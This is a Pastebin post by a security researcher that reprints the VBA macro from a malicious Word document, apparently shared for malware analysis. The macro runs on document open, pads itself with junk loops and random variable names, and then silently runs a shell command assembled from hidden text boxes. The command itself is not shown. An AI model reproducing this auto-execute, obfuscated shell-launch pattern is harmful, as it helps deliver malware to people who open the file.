Neonprimetime

Malicious Word Document Macro

May 31st, 2016
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Malicious Word Document Macro
  2.  
  3. *******
  4. *******
  5. *******
  6.  
  7. Attribute VB_Name = "ThisDocument"
  8. Attribute VB_Base = "1Normal.ThisDocument"
  9. Attribute VB_GlobalNameSpace = False
  10. Attribute VB_Creatable = False
  11. Attribute VB_PredeclaredId = True
  12. Attribute VB_Exposed = True
  13. Attribute VB_TemplateDerived = True
  14. Attribute VB_Customizable = True
  15.  
  16. Sub autoopen()
  17. Dim AlelPdcsyqOeQGpr As Integer
  18. AlelPdcsyqOeQGpr = 1
  19. Do While AlelPdcsyqOeQGpr < 1 + 10
  20. AlelPdcsyqOeQGpr = AlelPdcsyqOeQGpr + 1: DoEvents
  21. Loop
  22. Dim BoOlkLtKxBb As Integer
  23. Dim HNJVZn As Integer
  24. HNJVZn = 2468
  25. Do While HNJVZn < 2468 + 10
  26. HNJVZn = HNJVZn + 1: DoEvents
  27. Loop
  28. BoOlkLtKxBb = 1036
  29. Dim FUcenKF As Integer
  30. FUcenKF = 1520
  31. Do While FUcenKF < 1520 + 10
  32. FUcenKF = FUcenKF + 1: DoEvents
  33. Loop
  34. Do While BoOlkLtKxBb < 1036 + 10
  35. Dim EkttsxibiMa As Integer
  36. EkttsxibiMa = 2485
  37. Do While EkttsxibiMa < 2485 + 10
  38. EkttsxibiMa = EkttsxibiMa + 1: DoEvents
  39. Loop
  40. BoOlkLtKxBb = BoOlkLtKxBb + 1: DoEvents
  41. Shell mmJhasvxjdUs.TextBox1 + mmJhasvxjdUs.TextBox2 + mmJhasvxjdUs.TextBox3 + mmJhasvxjdUs.TextBox4 + mmJhasvxjdUs.TextBox5 + mmJhasvxjdUs.TextBox6 + mmJhasvxjdUs.TextBox7 + mmJhasvxjdUs.TextBox8 + mmJhasvxjdUs.TextBox9 + mmJhasvxjdUs.TextBox10 + mmJhasvxjdUs.TextBox11 + mmJhasvxjdUs.TextBox12 + mmJhasvxjdUs.TextBox13, vbHide
  42. Dim vlQLMKP As Integer
  43. vlQLMKP = 365
  44. Do While vlQLMKP < 365 + 10
  45. vlQLMKP = vlQLMKP + 1: DoEvents
  46. Loop
  47. Loop
  48. Dim UOEkttsxi As Integer
  49. UOEkttsxi = 1918
  50. Do While UOEkttsxi < 1918 + 10
  51. UOEkttsxi = UOEkttsxi + 1: DoEvents
  52. Loop
  53. Dim ahxYYndgYwa As Integer
  54. Dim lCRZa As Integer
  55. lCRZa = 1600
  56. Do While lCRZa < 1600 + 10
  57. lCRZa = lCRZa + 1: DoEvents
  58. Loop
  59. ahxYYndgYwa = 1669
  60. Dim heYqnKg As Integer
  61. heYqnKg = 1188
  62. Do While heYqnKg < 1188 + 10
  63. heYqnKg = heYqnKg + 1: DoEvents
  64. Loop
  65. Do While ahxYYndgYwa < 1669 + 10
  66. Dim UOhQnQinkv As Integer
  67. UOhQnQinkv = 2441
  68. Do While UOhQnQinkv < 2441 + 10
  69. UOhQnQinkv = UOhQnQinkv + 1: DoEvents
  70. Loop
  71. ahxYYndgYwa = ahxYYndgYwa + 1: DoEvents
  72. Dim oUnZd As Integer
  73. oUnZd = 953
  74. Do While oUnZd < 953 + 10
  75. oUnZd = oUnZd + 1: DoEvents
  76. Loop
  77. Loop
  78. Dim LOjLP As Integer
  79. LOjLP = 2411
  80. Do While LOjLP < 2411 + 10
  81. LOjLP = LOjLP + 1: DoEvents
  82. Loop
  83. End Sub
  84.  
  85.  
  86. *******
  87. *******
  88. *******
  89. More FROM @neonprimetime security
  90.  
  91. http://pastebin.com/u/Neonprimetime
  92. https://www.virustotal.com/en/USER/neonprimetime/
  93. https://twitter.com/neonprimetime
  94. https://www.reddit.com/USER/neonprimetime
Add Comment
Please, Sign In to add comment